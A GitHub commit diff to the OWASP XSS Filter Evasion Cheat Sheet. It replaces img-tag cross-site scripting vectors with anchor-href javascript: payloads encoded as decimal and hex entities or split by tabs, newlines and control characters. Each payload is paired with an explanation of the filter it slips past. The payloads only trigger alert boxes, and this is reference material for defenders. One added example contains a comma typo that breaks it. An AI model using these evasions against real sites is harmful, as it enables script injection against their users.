Skip to content

Commit 1a9ecca

Browse files
authored
Update to include modern examples (#1467)
- Updated examples to use a href attribute instead of img src attribute since most modern browsers no longer support javascript evaluation withing img src Co-authored-by: Jeymz Simmons <[email protected]>
1 parent 4595ec7 commit 1a9ecca

File tree

1 file changed

+10
-9
lines changed

1 file changed

+10
-9
lines changed

cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.md

Lines changed: 10 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -58,7 +58,7 @@ This XSS method uses the relaxed rendering engine to create an XSS vector within
5858
If the system does not allow quotes of any kind, you can `eval()` a `fromCharCode` in JavaScript to create any XSS vector you need:
5959

6060
```html
61-
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
61+
<a href="javascript:alert(String,fromCharCode(88,83,83))">Click Me!</a>
6262
```
6363

6464
### Default SRC Tag to Get Past Filters that Check SRC Domain
@@ -100,23 +100,24 @@ This attack will bypass most SRC domain filters. Inserting JavaScript in an even
100100
Since XSS examples that use a `javascript:` directive inside an `<IMG` tag do not work on Firefox this approach uses decimal HTML character references as a workaround:
101101
102102
```html
103-
<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>
103+
104+
<a href="&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;">Click Me!</a>
104105
```
105106

106107
### Decimal HTML Character References Without Trailing Semicolons
107108

108109
This is often effective in bypassing XSS filters that look for the string `&\#XX;`, since most people don't know about padding - which can be used up to 7 numeric characters total. This is also useful against filters that decode against strings like `$tmp\_string =\~ s/.\*\\&\#(\\d+);.\*/$1/;` which incorrectly assumes a semicolon is required to terminate a HTML encoded string (This has been seen in the wild):
109110

110111
```html
111-
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>
112+
<a href="&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041">Click Me</a>
112113
```
113114
114115
### Hexadecimal HTML Character References Without Trailing Semicolons
115116
116117
This attack is also viable against the filter for the string `$tmp\_string=\~ s/.\*\\&\#(\\d+);.\*/$1/;`, because it assumes that there is a numeric character following the pound symbol - which is not true with hex HTML characters:
117118
118119
```html
119-
<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>
120+
<a href="&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29">Click Me</a>
120121
```
121122
122123
### Embedded Tab
@@ -125,7 +126,7 @@ This approach breaks up the XSS attack:
125126
126127
<!-- markdownlint-disable MD010-->
127128
```html
128-
<IMG SRC="jav ascript:alert('XSS');">
129+
<a href="jav ascript:alert('XSS');">Click Me</a>
129130
```
130131
<!-- markdownlint-enable MD010-->
131132
@@ -134,23 +135,23 @@ This approach breaks up the XSS attack:
134135
This approach can also break up XSS:
135136
136137
```html
137-
<IMG SRC="jav&#x09;ascript:alert('XSS');">
138+
<a href="jav&#x09;ascript:alert('XSS');">Click Me</a>
138139
```
139140
140141
### Embedded Newline to Break Up XSS
141142
142143
While some defenders claim that any of the chars 09-13 (decimal) will work for this attack, this is incorrect. Only 09 (horizontal tab), 10 (newline) and 13 (carriage return) work. Examine the [ASCII table](https://man7.org/linux/man-pages/man7/ascii.7.html) for reference. The next four XSS attack examples illustrate this vector:
143144
144145
```html
145-
<IMG SRC="jav&#x0A;ascript:alert('XSS');">
146+
<a href="jav&#x0A;ascript:alert('XSS');">Click Me</a>
146147
```
147148
148149
#### Example 1: Break Up XSS Attack with Embedded Carriage Return
149150
150151
(Note: with the above I am making these strings longer than they have to be because the zeros could be omitted. Often I've seen filters that assume the hex and dec encoding has to be two or three characters. The real rule is 1-7 characters.):
151152
152153
```html
153-
<IMG SRC="jav&#x0D;ascript:alert('XSS');">
154+
<a href="jav&#x0D;ascript:alert('XSS');">Click Me</a>
154155
```
155156
156157
#### Example 2: Break Up JavaScript Directive with Null
@@ -166,7 +167,7 @@ perl -e 'print "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
166167
This is useful if a filter's pattern match doesn't take into account spaces in the word `javascript:`, which is correct since that won't render, but makes the false assumption that you can't have a space between the quote and the `javascript:` keyword. The actual reality is you can have any char from 1-32 in decimal:
167168

168169
```html
169-
<IMG SRC=" &#14; javascript:alert('XSS');">
170+
<a href=" &#14; javascript:alert('XSS');">Click Me</a>
170171
```
171172

172173
#### Example 4: Non-alpha-non-digit XSS

0 commit comments

Comments
 (0)